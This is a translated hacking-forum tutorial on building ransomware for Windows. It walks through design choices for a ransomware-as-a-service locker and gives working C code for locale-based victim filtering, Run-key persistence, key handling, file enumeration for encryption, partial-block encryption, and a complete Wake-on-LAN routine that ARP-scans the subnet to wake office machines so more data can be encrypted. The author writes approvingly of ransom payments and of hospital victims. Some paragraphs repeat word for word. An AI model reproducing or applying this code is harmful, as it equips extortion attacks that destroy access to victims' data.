#1
HQ INPUT OPENED NOT LOCKED SO AT LEAST GIVE LIKES #alert: There will not be a ready-made ransomaware, only code insertions, thoughts, difficulties and their solutions that I had to faced

1: What is the ransomware made of?
For the basics, let's take a few topics from the forum and see what functions / features raas (ransomware as a service) offer us
- The cryptolocker is written in C ++, does not require any additional libraries;
- Works successfully on the entire line of Windows starting from XP;
Here we will not bother with this, and the percentage of xp loading is not so large.
- Small size of the executable file: 27 kb and 34 kb (2 assemblies);
Standard build weight, provided that crt, third-party libraries / encryption implementations are abandoned and only standard features of all locker lines are present.
- Encryption is performed using algorithms AES256 + RSA1024;
Most likely cryptoapi is used, and rsa1024 is used, which is not buzzing. The use of cryptoapi will also be controversial, because it is closed source code, and who knows what bookmarks there may be. As an example, I would recommend an offline / online locker using X25519, Xsalsa20-Poly1305 as asymmetric encryption, and unsigned XchaCha20 as symmetric encryption. Thus, we will increase the crypto resistance and encryption speed.
- Files ALWAYS have the ability to correctly decrypt;
I think that it is not necessary to explain why this is important, and we will analyze how to prevent such problems, including in case of an emergency shutdown of the build.
- Priority extensions are encrypted completely regardless of weight, not priority: up to 1.5 Mb - 100%, more than 1.5 Mb - in 256 Kb blocks in three places in the file.
A very controversial point, I think it all depends on your religion, but encrypting, for example, rar weighing 40GB in blocks of 256kb in 3 places is very stupid. And it takes a very long time to encrypt completely. Let's analyze it in detail too.
- Encrypted files do not have, and will not have the ability to decrypt on the side in the near future - RSA1024 will not be hacked soon.
Rsa 768 was hacked in 2010. Beginning in 2013, many companies began to abandon keys less than 2048 bits. Well, maybe they won't hack, but why risk it?
- When encrypting, 1 stream is allocated for 1 volume, as well as an additional stream for network processing. The network is processed after all disks have been processed;
- Before starting encryption, the locker turns off common processes that can interfere with high-quality file encryption;
- In the process of processing files, the locker, if necessary, changes the attributes;
- Locker generates a unique ID for the machine from which it was launched. ID does not change after restart;
- Locker cleans Shadow Copy;
- Locker does not damage the OS system directory;
- There is protection against restarting;
- Each partner has his own private master key;
- Locker does not work on the territory of the CIS.

As a result, we get the average ransom for the hospital, since 2018. It is a little unprofitable to make such a locker in 2020, when many of the affiliate programs offer WOL, completion ports and many other features.
Therefore, we will use methods that are only gaining popularity in the locker environment. For example, IOCP, which is faster, but more complex than direct I / O, but only because there is very little information about it. Let's take a closer look at how it works, and why it's not scary. Also the distribution of the so-called Magic Packets, packages that allow you to remotely raise the car. The technology is quite old, but as far as I remember, it is used only in one ransom (e)

2: Design and preparation
Now let's get down to our locker. To begin with, it is worth building the logic of work, even on paper, this will greatly help you when developing software of any level and will help you avoid many mistakes during development. Schema.jpg
We get the minimum set of locker functions. It does not take into account deleting shadow copies, working with canary files, etc. This is just a mock-up of the main locker functions, on the basis of which the add-on is built in the form of exploits, code hiding techniques, and so on. And the article itself is more about coding than about methods and technologies of virus writers.

IDE everyone chooses for their own preferences, even though write in a notepad. In my case, this is VS 2019 (the PC is completely isolated from the external network) with preloaded pdb and the necessary tools.
If you open a new project and compile Hello World, you get a huge file, like 1 line of code. The reason lies in the CRT (C Runtime Library), which loads unnecessary code for our needs. If we completely abandon the CRT, we get a much smaller file, but only the standard functions and winapi will have to be used. We also refuse from STL, because it often uses dynamic memory allocation operators (calloc, malloc, etc.). Of course, you can make stubs like:

C:Copy to clipboard
void* __cdecl malloc(size_t n)
{
void* pv = HeapAlloc(GetProcessHeap(), 0, n);
return pv;
}
Or use third-party STL implementations, but often it doesn't make sense. If you are familiar with WinApi, you won't have any difficulties with the code.
The only thing that will most likely be needed is 64-bit operations with numbers (_alldiv, _allmul, etc.). When using third-party encryption libraries / implementations, they will be necessary, but fortunately, finding them is not a problem.

3: Server

Everyone chooses the Oc server and the admin language (Crabs, Win server and OpenSSL! = WinCrypt =)). I just recommend using Ruby on rails as the admin panel, the payment panel for issuing test decks, and sinatra as a lightweight script for giving and generating keys. Why Rails? Because it is very fast development and the most secure thing, not very dependent on personal coding skill and knowledge of the language.
If you want maximum crypto resistance, generate keys on your PC without access to an external computer, upload public keys to the server, plant a monkey that will process requests 24/7, make test files and decks on the local machine and upload them to the server. Maximum crypto resistance, but a little paranoid =).

4: Launch and preparation of work ransoma
Will clearly follow the scheme.
First, let's analyze if we can work on this machine and if it is located in the CIS zone. It is very often used to simply obtain a layout and check it against the values ​​of the CIS zones. The layout can be obtained, for example, from the registry
HKEY_USERS \ .DEFAULT \ Keyboard Layout \ Preload
But what if the cunning Chinese put the ru layout on purpose and bypass our super technology? Disorder. Let's think further, you can check the system language
C:Copy to clipboard
GetLocaleInfoW(GetSystemDefaultUILanguage(), LOCALE_SISO639LANGNAME, NULL,nChars);

Already better, the Chinese will not specifically work on the Russian interface. Well, it will be very good if we also send a request to determine geoip, or even entrust this task to the server, of course, this is not at all necessary, but why not.
And based on the data received, we can decide whether to launch or not. Other solutions can also be used, but the point is to use a predictive model rather than an exact knowledge. For example, if there is a Russian layout, but the interface and geoip are Chinese, we can start (66%)

With the generation of id, I think there should be no problems at all, we take
C:Copy to clipboard
GetSystemInfo(&InfoSYS);
Key += InfoSYS.dwOemId
+ InfoSYS.wProcessorArchitecture
//+InfoSYS.wReserved
+ InfoSYS.dwPageSize
+ InfoSYS.dwActiveProcessorMask;
Key2 =InfoSYS.dwProcessorType
+ InfoSYS.wProcessorLevel
+ InfoSYS.dwAllocationGranularity
+ InfoSYS.wProcessorRevision;
and mix, if you want more complicated, use poppies of network cards, system disk, etc. But I think the essence is clear.
You can also collect all the information you are interested in about the pc: domain, user, state and size of hard drives. Send it to the server, extra information will never be superfluous.

We need a mutex in order not to run the same animal on the machine twice. Some of them use compile-time-constant id, some are the id that we got as a result of the generation.
C:Copy to clipboard
HANDLE Mutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, uniqID);
if (Mutex == NULL)
{
Mutex = CreateMutex(NULL, FALSE, L"Global\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0");

}
else { ExitProcess(0); }
There are a lot of ways to add a file to autoload, they differ only in the abuse of AB. As an example, you can move the file further, and register the address in the registry, create a shortcut and place it in startup. At least register the file as a service, the essence does not change.

C:Copy to clipboard
HKEY hKeyAutorun = NULL;
int start = 0;
TCHAR szExeName[MAX_PATH + 1];
TCHAR szWinPath[MAX_PATH + 1];
GetModuleFileName(NULL, szExeName, STRLEN(szExeName));
for (int i = 0; i < STRLEN(szExeName); i++)
if (szExeName[i] == L'\\')
start = i;

GetWindowsDirectory(szWinPath, STRLEN(szWinPath));
lstrcat(szWinPath, szExeName + start);
CopyFile(szExeName, szWinPath, FALSE));
RegOpenKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKeyAutorun);
RegSetValueEx(hKeyAutorun, szExeName + start + 1, 0, REG_SZ, (PBYTE)szWinPath,
lstrlen(szWinPath) * sizeof(TCHAR) );
RegCloseKey(hKeyAutorun);
All checks are skipped on purpose so as not to clutter up the code.

5. Generation of keys


Let's start preparing the encryption. The essence of offline / online cryptolocker is that it will work anyway. You can only receive a key from the server, you can generate it on the victim and encrypt it, you can generate it on the victim and send it to the server. Again, everyone uses their own, but here I want to consider at the same time all the ways to work with encryption.


Let's say the best way is to get the public key from the server and use it to encrypt the symmetric keys that we generate for each file. Well, let's send a request to the server, along with all the information that we have collected. Stop, what if we already received the key from the server, or there was no access and generated it locally. Therefore, we need a place to store the keys, let's say it's the registry. Let's check the place where the public key should be located. Is it lying down? If so, then it is worth checking if the locally generated and encrypted private key lies. If so, let's shove his note so we can decipher it later. If it is absent, we probably encrypted the key received from the server and in the note we use the id that we sent to the server and tied it to a pair of keys. If there are no keys, we make a request to the server, we send the id, bind it on the server to a pair of keys and get a public key that we will use in the future. If the server is down, or there is no access to the external network, you will have to use the locally generated keys, while the private key should be encrypted with a symmetric algorithm, and then the key from the symmetric algorithm should be encrypted with our key tied to the build. It is also advisable to reel in all the information about the pc that we have collected. A separate key for each advertiser, firstly, will allow tracking all illegal actions committed by him, and secondly, to avoid leftism. in this case, the private key should be encrypted with a symmetric algorithm, and then the key from the symmetric algorithm should be encrypted with our key associated with the build. It is also advisable to reel in all the information about the pc that we have collected. A separate key for each advertiser, firstly, will allow tracking all illegal actions committed by him, and secondly, to avoid leftism. in this case, the private key should be encrypted with a symmetric algorithm, and then the key from the symmetric algorithm should be encrypted with our key associated with the build. It is also advisable to reel in all the information about the pc that we have collected. A separate key for each advertiser, firstly, will allow tracking all illegal actions committed by him, and secondly, to avoid leftism.

Brief pseudo-algorithm of work:
C:Copy to clipboard
RegOpenKey(HKEY_CURRENT_USER, L"Software\\Microsoft", &Key);
dwRet = RegQueryValueExA(Key, "pubKey", NULL, NULL, (LPBYTE)PerfData, &BufferSize);
RegCloseKey(Key);
if (dwRet == ERROR_SUCCESS){
setKey(PerfData);
HKEY Key2;
RegOpenKey(HKEY_CURRENT_USER, L"Software\\Microsoft", &Key2);
dwRet = RegQueryValueExA(Key2, "PrivEncrKey", NULL, NULL, (LPBYTE)CryptKeyToSave, &BufferSize);
RegCloseKey(Key2);
if (dwRet == ERROR_SUCCESS) {
Используем сгенерированный локально ключ
}
else {
Используем ключ с сервера
}
}else{
if(SendRequestToServer(InfoPc) == SUCCESS)
Используем ключ с сервера
else
Генерируем ключ
}
Pseudo-algorithm for generating new keys:
C:Copy to clipboard
unsigned char machine_pk_key[PUBLICKEY_SIZE]; // Публичный ассеметричный ключ
unsigned char machine_sk_key[SECRETKEY_SIZE]; // Приватный ассеметричный ключ
unsigned char v[NONCEBYTES_SIZE]; // Iv
unsigned char k[KEYBYTES_SIZE]; // Симметричный ключ
randombytes(v, NONCEBYTES_SIZE); // Заполняем iv
secure_gen_key(k); // Генерируем максимально случайную последовательность для ключа
gen_keypair(machine_pk_key, machine_sk_key); // Генерируем пару ключей
BYTE* encryptedPrivateKeyWithSymmetric = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SECRETKEY_SIZE); //Буфер для зашифрованного приватного ключа
symmetric_encr(encryptedPrivateKeyWithSymmetric, machine_sk_key, SECRETKEY_SIZE, v, k);//Шифруем наш приватный ключ симметричным алгоритмом
BYTE* encryptedKeyWithAssymetric = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, TOTAL_ENCR_SIZE); // Буфер для симметричного ключа, зашифрованного при помощи Public key алгоритма
assymetric_encr(encryptedKeyWithAssymetric , k, TOTAL_ENCR_SIZE, bild_pc); // Шифруем симметричный ключ при помощи ассиметричного алгоритма
BYTE* destinationEncryptKeyWithSalsa = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalSize); // Буфер для конечного ключа
destinationEncryptKeyWithSalsa = encryptedPrivateKeyWithSymmetric + encryptedKeyWithAssymetric + v; // Собираем зашифрованный приватный ключ, симметричный ключ и iv. Эта последовательность необходима для расшифровки, пишем ее в записку.
6. Search for files


Now we will analyze the search for files on the disk, WOL and IOCP with the search for network drives will leave for dessert.
The essence of all file search comes down to one thing
C:Copy to clipboard
Search(){
FindFirstFile(fdFindData)
do
if ((0 == lstrcmp(fdFindData.cFileName, L".")) ||
(0 == lstrcmp(fdFindData.cFileName, L"..")))
continue;
if (fdFindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
Search();
else
ProcedureFile();
while(FindNextFile(fdFindData))
}
You can find such a search layout in every locker, although there are other ways, for example, scanning the mft table of the disk and analyzing it. In theory, this should give a noticeable increase in the speed of searching for files, but I have not yet met lockers that use it. There is one notable drawback, this only applies to ntfs disks. It also works only with administrator rights. How it works can be seen on the example of the Everything program, first it updates the disk indexes, and then scans. Search even on huge disks is instant.
But there are a couple of nuances in the usual file search. For example, the FindFirstFile function itself has an extended version:
C:Copy to clipboard
HANDLE FindFirstFileExW(
LPCWSTR lpFileName,
FINDEX_INFO_LEVELS fInfoLevelId,
LPVOID lpFindFileData,
FINDEX_SEARCH_OPS fSearchOp,
LPVOID lpSearchFilter,
DWORD dwAdditionalFlags
);
It allows you not only to sort through files head-on, but also to set a filter for searching the disk, for example, if damage is important to you, and first of all you want to encrypt all bak files, use the "* .bak" mask.
But you can not use filter search, but simply use the wonderful FIND_FIRST_EX_LARGE_FETCH flag , which significantly speeds up the search. It seems to be a common function, but few people use the advanced option, and deprives themselves of at least 15% acceleration of the file search.
For example, here is one well-known locker:
123.png

As they say, a coincidence on the face. I pay tribute to the coder of this tool and just admire the work done, but why is the regular version of FindFirstFile used? Although I may be wrong, and there is no point in using the extended one, except for searching by a filter.
I'm not a coder who has been developing high-load processing servers for 20 years, so you can't trust me. Always use critical thinking, question everything and check it personally.

If a screenshot from Ida has already appeared, it is worth saying a few words about the analysis of other people's samples. If you do not know something, or want to implement something that is not written about, you should look at other lockers. Most of the code is able to understand everyone, even a simple decompilation without knowing the assembler will help you understand the meaning of the functions.
Here's an example of finding network drives, although you can find it on msdn too. Pretty self-explanatory , isn't it? But I digress. There is such a thing as MAX_PATH, a value that determines the maximum length of a path name, it is equal to 260 characters. But it happens that the length exceeds this value. The Unicode version of the functions comes to our rescue, those with the prefix W (FindFirstFileW). In this case, you must use a special prefix before each drive \\? \ (\\? \ C: \). The maximum path length will now be 32,767 characters. But even here an ambush arises, if we try to substitute a prefix for the network drive, we will get absolutely nothing. A different prefix is ​​used to work with network drives, \\? \ Unc \ server \ share. Nothing complicated, but many do not pay attention to it and lose part of the result.

321.png




7. Nuances of working with files

A lot of lockers lost conversion due to problems with file recovery and lost their reputation. Why did they arise? Often the problems are related to the SetFilePointer function.
Let's go to msdn and see the syntax
C:Copy to clipboard
DWORD SetFilePointer(
HANDLE hFile,
LONG lDistanceToMove,
PLONG lpDistanceToMoveHigh,
DWORD dwMoveMethod
);
The first parameter is a normal file handle, but the second and third are more interesting. LdistanceToMove - from the name it is clear that this is the length to which the pointer is moved in the file. The bottom line is that the second parameter is a 32-bit number, and the maximum 32-bit number is 2147483647, which is 2GB. That is, if the file is more than 2GB, the pointer will not move beyond these limits and the key from the file will be written at this boundary. To move beyond 2GB, use the third parameter, which denotes the highest bit of a 64-bit number. As a result, when using both parameters, the length of the pointer movement is limited to 16 exabytes. To simplify the work, you can use the _LARGE_INTEGER structure, which simplifies the work with digits and does everything for us. It contains the QuadPart field, which denotes a 64-bit number. Quite easy, and if you read msdn you can understand everything. But if it's easy, why do many lockers make such a mistake, including raas with adverts. Unanswered question.

It is also worth raising the topic of block encryption. It is clear that small files can be encrypted completely, but what to do with 10+ GB files, do not process them completely. As mentioned in the first article, one of the raas encrypts files larger than 1.5 mb in 256kb blocks in 3 file locations. Now let's think about what will happen if we encrypt a 10GB archive, for an amount of 768kb. Will we do a lot of damage? Far from being a fact, because archives of this type can be restored without any problems. The Reed-Solomon codes have not yet been canceled. This raises the question of speed and efficiency. Everyone can find their own ratio, but the main idea is that we encrypt each N-th block of the file sequentially. For example, the buffer size will be 1MB, and files larger than 10MB will be partially encrypted. Every 20th block will be encrypted by 1MB, i.e. 5% of the total file weight. As a result, a 10MB file will have 1 encrypted block, and a 10GB file will have 512 blocks. The advantage of this solution is that it scales easily and encrypts the file evenly.

Let's consider the options for recovering a file. Provided that the build worked correctly, there will be no problems. But what if the build encrypts a 900GB database and the user cuts off the build, pulls out the cord. What to do ? Write to him that you are a fool? As for me, there are only two options. The first is to pre-generate the file checksum and write it to the file. In the event of an emergency shutdown of the build, we will be able to brute force the block of data on which we stopped and correctly restore the file. The downside lies in the fact that we need to read the file two times, the first time to generate the amount, the second to encrypt. The second way is to write the label of the current block to the end of the file, that is, if we encrypt the third block, we write to the end 3. The same minus arises, 1 additional record appears for each block, but hashing disappears. Many will say that we only write one number, suppose the size is 4 bytes. But the point here is not in the size, but in the mechanism of the cruel disk. At least 1 byte, at least 500 bytes, the hard drive will have to move the head and put it on the disk sector. Typically, the disk sector size is 4K and it makes sense to write data in blocks that are multiples of this number. Let's take a look at this when working with IOCP. There is, of course, one more non-obvious way - the maximum acceleration of the locker, to reduce the percentage of damaged files. Everyone chooses his own option, which is closer to him. If you know more ways to recover files in such a situation, I will be glad to hear. Typically, the disk sector size is 4K and it makes sense to write data in blocks that are multiples of this number. Let's take a look at this when working with IOCP. There is, of course, one more non-obvious way - the maximum acceleration of the locker, to reduce the percentage of damaged files. Everyone chooses his own option, which is closer to him. If you know more ways to recover files in such a situation, I will be glad to hear. Typically, the disk sector size is 4K and it makes sense to write data in blocks that are multiples of this number. Let's take a look at this when working with IOCP. There is, of course, one more non-obvious way - the maximum acceleration of the locker, to reduce the percentage of damaged files. Everyone chooses his own option, which is closer to him. If you know more ways to recover files in such a situation, I will be glad to hear.

8. WOL
What is WOL? Wake on lan is a technology that allows you to remotely wake up a computer by sending a special data packet (magic packet).
It will be very useful for our purposes. Usually in offices, especially at night, many computers go to sleep or turn off, thereby losing precious gigabytes of unencrypted data.
So why not include them?

The main point lies in sending the magic package to the computer. What is it ? Magic packet is a sequence of bytes, at the beginning of which there is a synchronization chain, 6 bytes equal to 0xFF. Then the mac address of the network card, repeated 16 times.
That is, as a result, we get a package of the form:
The code:Copy to clipboard
FFFFFFFFFFFF010203040506
010203040506010203040506
010203040506010203040506
010203040506010203040506
010203040506010203040506
010203040506010203040506
010203040506010203040506
010203040506010203040506
010203040506
The main condition for the successful sending of the package is the availability of a suitable motherboard and a network card, but we do not particularly care about this, the main thing is to try. It should also be a udp request. That's all, it remains only to get the poppy addresses of the machines and send magic packets.
You can get poppies, for example, by sending an arp request to an ip address. In winapi, the SendARP function is used for this, but where will we send? If the packet can be sent only over the local network, then the local ip is needed.
The first way to get all the poppies is to call "arp -a" in cmd, parse the results, and send the packets. It is done in an elementary way:


Spoiler: Reading cmd
C:Copy to clipboard
wchar_t lpCommandLine[] = L"arp -a";
STARTUPINFOW si;
SECURITY_ATTRIBUTES sa;
PROCESS_INFORMATION pi;
HANDLE g_hChildStd_IN_Rd, g_hChildStd_OUT_Wr, g_hChildStd_OUT_Rd, g_hChildStd_IN_Wr;
char buf[1024];

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
if (CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0))
{
if (CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0))
{
GetStartupInfoW(&si);

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = g_hChildStd_OUT_Wr;
si.hStdError = g_hChildStd_OUT_Wr;
si.hStdInput = g_hChildStd_IN_Rd;

if (CreateProcessW(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi))
{
unsigned long bread;
unsigned long avail;
memset(buf, 0, sizeof(buf));

for (;;)
{
PeekNamedPipe(g_hChildStd_OUT_Rd, buf, 1023, &bread, &avail, NULL);
if (bread != 0)
{
if (ReadFile(g_hChildStd_OUT_Rd, buf, 1023, &bread, NULL))
{
break;
}
}
}

//clean up all handles
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(g_hChildStd_IN_Rd);
CloseHandle(g_hChildStd_OUT_Wr);
CloseHandle(g_hChildStd_OUT_Rd);
CloseHandle(g_hChildStd_IN_Wr);
}
else
{
CloseHandle(g_hChildStd_IN_Rd);
CloseHandle(g_hChildStd_OUT_Wr);
CloseHandle(g_hChildStd_OUT_Rd);
CloseHandle(g_hChildStd_IN_Wr);
}
}
else
{
CloseHandle(g_hChildStd_IN_Rd);
CloseHandle(g_hChildStd_IN_Wr);
}
}
At the output, we get: It remains to divide the buffer into words, select valid ip. Send SendARP request to receive a poppy, create a package and send. As far as I know, this is how the well-known ryuk locker works. Reading cmd The second method is not much more difficult to implement, but it is also slower. But as for me, it also has a right to exist. Each network card connected to a local network, and not directly to the network, has a local dedicated address and subnet mask.
44.png




55.png
The subnet mask just shows which part of the host's ip address refers to the network address, and which part to the host's address in this network. For example, in our case the mask is 255.255.255.0, the prefix is ​​24. Everyone has seen an address of the type: 192.168.88.1 \ 24, and so at the end this is the prefix that is determined by the netmask, the so-called cidr. We get the number of ip in the network 256. It remains only to send each arp packet one by one, find out the poppy and resurrect the computer.

Under the spoiler, the full sending code with minimal comments, the code is modified from the working locker, and may not work correctly, but in theory it should =) Therefore, check everything for operability.
Spoiler: a lot of bucoffs
C:Copy to clipboard
#define MAX_TRIES 3

#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "IPHLPAPI.lib")

#define _WINSOCK_DEPRECATED_NO_WARNINGS 1
#define WSA_VERSION MAKEWORD(2, 2)


#include <winsock2.h>
#include <windows.h>
#include <iphlpapi.h>
#include <wininet.h>
#include <winnetwk.h>


struct startThread {
HANDLE threadMutex;
IPAddr threadDestIp;
};

int startWinSock(char* inputIp, int inputSlash);
bool init_winsock();
static u_long getFirstIP(u_long Ip, u_char slash);
static DWORD WINAPI sendAnARP(LPVOID lpArg);
static u_long lookupAddress(const char* pcHost);
int sendArpWOK(char* ipAddr, BYTE macAddr[]);
void createMagicPacket(unsigned char packet[], BYTE macAddress[]);
bool init_winsock();
void listIpAdresses();
void* __cdecl myMalloc(size_t n);
void __cdecl myFree(void* p);
void* __cdecl myMemset(void* pTarget, int value, size_t cbTarget);

int main() {
init_winsock();
listIpAdresses();
return 1;
}
void createMagicPacket(unsigned char packet[], BYTE macAddress[]) {
int i;
unsigned char mac[6];
// Заполняем пакет 0xff
for (i = 0; i < 6; i++) {
packet[i] = 0xFF;
mac[i] = (unsigned char)macAddress[i];
}
// Дозаписываем маки
for (i = 1; i <= 16; i++) {
memcpy(&packet[i * 6], &mac, 6 * sizeof(char));
}
}
static u_long lookupAddress(const char* pcHost) {
struct in_addr address;
struct hostent* pHE = NULL;
u_long nRemoteAddr;
bool was_a_name = false;

nRemoteAddr = inet_addr(pcHost);

if (nRemoteAddr == INADDR_NONE) {
pHE = gethostbyname(pcHost);

if (pHE == 0) {
return INADDR_NONE;
}
nRemoteAddr = *((u_long*)pHE->h_addr_list[0]);
was_a_name = true;
}
if (was_a_name) {
memcpy(&address, &nRemoteAddr, sizeof(u_long));
}
return nRemoteAddr;
}


static DWORD WINAPI sendAnARP(LPVOID lpArg) {
struct startThread temp = *(startThread*)lpArg;
u_long DestIp = temp.threadDestIp;
CONST HANDLE hMutex = (CONST HANDLE)temp.threadMutex;
IPAddr SrcIp = 0;
ULONG MacAddr[2];
ULONG PhysAddrLen = 6;
BYTE* bPhysAddr;
DWORD dwRetVal;

myMemset(&MacAddr, 0xff, sizeof(MacAddr));
PhysAddrLen = 6;
// получаем мак
dwRetVal = SendARP(DestIp, SrcIp, &MacAddr, &PhysAddrLen);
bPhysAddr = (BYTE*)&MacAddr;

if (PhysAddrLen) {
char message[256];
int i;
myMemset(message, 0, sizeof(message));

struct in_addr ip_addr;
ip_addr.s_addr = DestIp;
//Переходим к созданию пакета и отправке udp
sendArpWOK(inet_ntoa(ip_addr), bPhysAddr);
WaitForSingleObject(hMutex, INFINITE);

}
return 0;
}
int sendArpWOK(char* ipAddr, BYTE macAddr[]) {
WSADATA data;
SOCKET udpSocket;
struct sockaddr_in udpClient, udpServer;
unsigned char packet[102];
// Магический пакет
createMagicPacket(packet, macAddr);

udpSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (setsockopt(udpSocket, SOL_SOCKET, SO_BROADCAST, ipAddr, sizeof(ipAddr)) == -1) {
return 0;
}
udpClient.sin_family = AF_INET;
udpClient.sin_addr.s_addr = INADDR_ANY;
udpClient.sin_port = htons(0);
bind(udpSocket, (struct sockaddr*) & udpClient, sizeof(udpClient));

udpServer.sin_family = AF_INET;
udpServer.sin_addr.s_addr = inet_addr(ipAddr);
udpServer.sin_port = htons(9);
// Отправляем
sendto(udpSocket, (char*)&packet, sizeof(unsigned char) * 102, 0, (struct sockaddr*) & udpServer, sizeof(udpServer));
}

static u_long getFirstIP(u_long Ip, u_char slash) {
IPAddr newDestIp = 0;
int i;
IPAddr oldDestIp = ntohl(Ip);
u_long mask = 1 << (32 - slash);
for (i = 0; i < slash; i++) {
newDestIp += oldDestIp & mask;
mask <<= 1;
}

return ntohl(++newDestIp);
}
bool init_winsock() {
WSADATA WSAData = { 0 };
if (WSAStartup(WSA_VERSION, &WSAData) != 0) {
if (LOBYTE(WSAData.wVersion) != LOBYTE(WSA_VERSION) ||
HIBYTE(WSAData.wVersion) != HIBYTE(WSA_VERSION)) {
}
WSACleanup();
return false;
}
return true;
}


int startWinSock(char* inputIp, int inputSlash) {
int c;
IPAddr destIp = 0;
u_long loopcount;
HANDLE* hHandles;
DWORD ThreadId;
u_long i = 0;
destIp = lookupAddress(inputIp);
// Получаем первый ip в сети
if (inputSlash != 32) {
destIp = getFirstIP(destIp, inputSlash);
}

if (destIp == INADDR_NONE) {
return(1);
}

loopcount = 1 << (32 - inputSlash);
hHandles = (HANDLE*)myMalloc(sizeof(HANDLE) * loopcount);
CONST HANDLE hMutex = CreateMutex(NULL, FALSE, NULL);
// Запускаем поток обработки на каждый ip в подсети
for (i = 0; i < loopcount; i++) {
struct in_addr ip_addr;
ip_addr.s_addr = destIp;

struct startThread startThreadTemp;
startThreadTemp.threadDestIp = ip_addr.s_addr;
startThreadTemp.threadMutex = hMutex;

hHandles[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)sendAnARP, (LPVOID)&startThreadTemp, 0, &ThreadId);

if (hHandles[i] == NULL) {
return(1);
}

Sleep(10);
u_long temp = ntohl(destIp);
destIp = ntohl(++temp);
}

for (i = 0; i < loopcount; i++) {
WaitForSingleObject(hHandles[i], INFINITE);
}

myFree(hHandles);
return(0);
}



void listIpAdresses()
{
DWORD dwRetVal = 0;
unsigned int i = 0;
ULONG Iterations = 0;
PIP_ADAPTER_INFO pAdapterInfo = NULL;
PIP_ADAPTER_INFO pAdapter = NULL;
ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);
in_addr ipDotDelimetr;
do {
// Получаем список адаптеров и всю информацию
if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) {
myFree(pAdapterInfo);
pAdapterInfo = (IP_ADAPTER_INFO*)myMalloc(ulOutBufLen);
if (pAdapterInfo == NULL) {
return;
}
}
if ((dwRetVal = GetAdaptersInfo(pAdapterInfo, &ulOutBufLen)) == NO_ERROR) {
}
else {
myFree(pAdapterInfo);
return;
}

} while ((dwRetVal == ERROR_BUFFER_OVERFLOW) && (Iterations < MAX_TRIES));

if (dwRetVal == NO_ERROR) {
pAdapter = pAdapterInfo;
while (pAdapter) {
//Проходим каждый адаптер, узнаем каждый входящий ip и вычисляем cidr по маске
ipDotDelimetr.s_addr = inet_addr(pAdapter->IpAddressList.IpMask.String);
int cidr = 0;
while (ipDotDelimetr.S_un.S_addr)
{
cidr += (ipDotDelimetr.S_un.S_addr & 0x01);
ipDotDelimetr.S_un.S_addr >>= 1;
}
// Запускаем обработку данного диапазона ip
startWinSock(pAdapter->IpAddressList.IpAddress.String, cidr);
pAdapter = pAdapter->Next;
}
}
else {
myFree(pAdapterInfo);
return;
}
myFree(pAdapterInfo);
return;
}

void* __cdecl myMalloc(size_t n)
{
void* pv = HeapAlloc(GetProcessHeap(), 0, n);
return pv;
}
void __cdecl myFree(void* p)
{
if (p == NULL) return;
HeapFree(GetProcessHeap(), 0, p);
}

void* __cdecl myMemset(void* pTarget, int value, size_t cbTarget) {
unsigned char* p = static_cast<unsigned char*>(pTarget);
while (cbTarget-- > 0) {
*p++ = static_cast<unsigned char>(value);
}
return pTarget;
}
The technology is quite simple, but at the same time quite effective. Also, many people know Nska, which connects network drives. Based on this, a similar system can be built. Only work with disks without a connection => more difficult to see the work of the locker. because we received the type of computers, it remains only to go through them through NetShareEnum and start working with them. The main advantage of the function is that it passes through hidden balls too, unlike WnetEnumResource , but at the same time it does not work with dfs or webdav disks.

9. IOCP

As Wikipedia says: Input / output completion port ( IOCP ) is an API for performing multiple simultaneous asynchronous input / output operations in Windows NT.An input / output completion port object is created and associated with a number of sockets or file handles . Basically, it is a simple event queue from which messages about IO operations are retrieved and added. Adding is done by linking the file handle to the port descriptor. To process the results, a pool of threads is used, usually in size: the number of logical processors * 2.
When a thread is started, it fetches one of the results of the operation from the queue and executes it. If the queue is empty, it is waiting for a new message to be processed. In words, it is quite difficult to understand the principle of operation, it is easier to depict it schematically. As we can see, there is a queue. It is created with the help
1.jpg

C:Copy to clipboard
ioCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE,
NULL,
0,
dwNumProcessors);
dwNumProcessors - number of processing threads.
From this queue, we retrieve tasks one by one, for example, we transfer the file record to stream N1. Let's create these streams first.
C:Copy to clipboard
for (int i = 0; i < dwNumProcessors; i++)
{
hThread[i] = CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)ProcessFile,
ioCompletionPort,
0,
NULL);
if (hThread[i] == NULL)
{
//Exit cant create
}
}
ProcessFile is the function that will process incoming messages.
But we need to understand what we are going to process. How do we know what we are going to do, write, read, or maybe encrypt?
To do this, let's create a data structure:
C:Copy to clipboard
typedef struct AsyncContext {
OVERLAPPED overlapped;
BYTE buffer[BUFFER_SIZE];
DWORD numberOfBytesRead;
HANDLE inFile;
int whichOperation;
} ASYNC_CTX, * PASYNC_CTX;
First we go OVERLAPPED, this is the very structure that denotes asynchronous action and file offset.
C:Copy to clipboard
typedef struct_OVERLAPPED {
DWORD Internal;
DWORD InternalHigh;
DWORD Offset;
DWORD OffsetHigh;
HANDLE hEvent;
} OVERLAPPED
1 and 2 parameters are system, 3 and 4 are responsible for the position of the pointer in the file, the same as we parsed earlier. For files larger than 2GB, both must be specified.

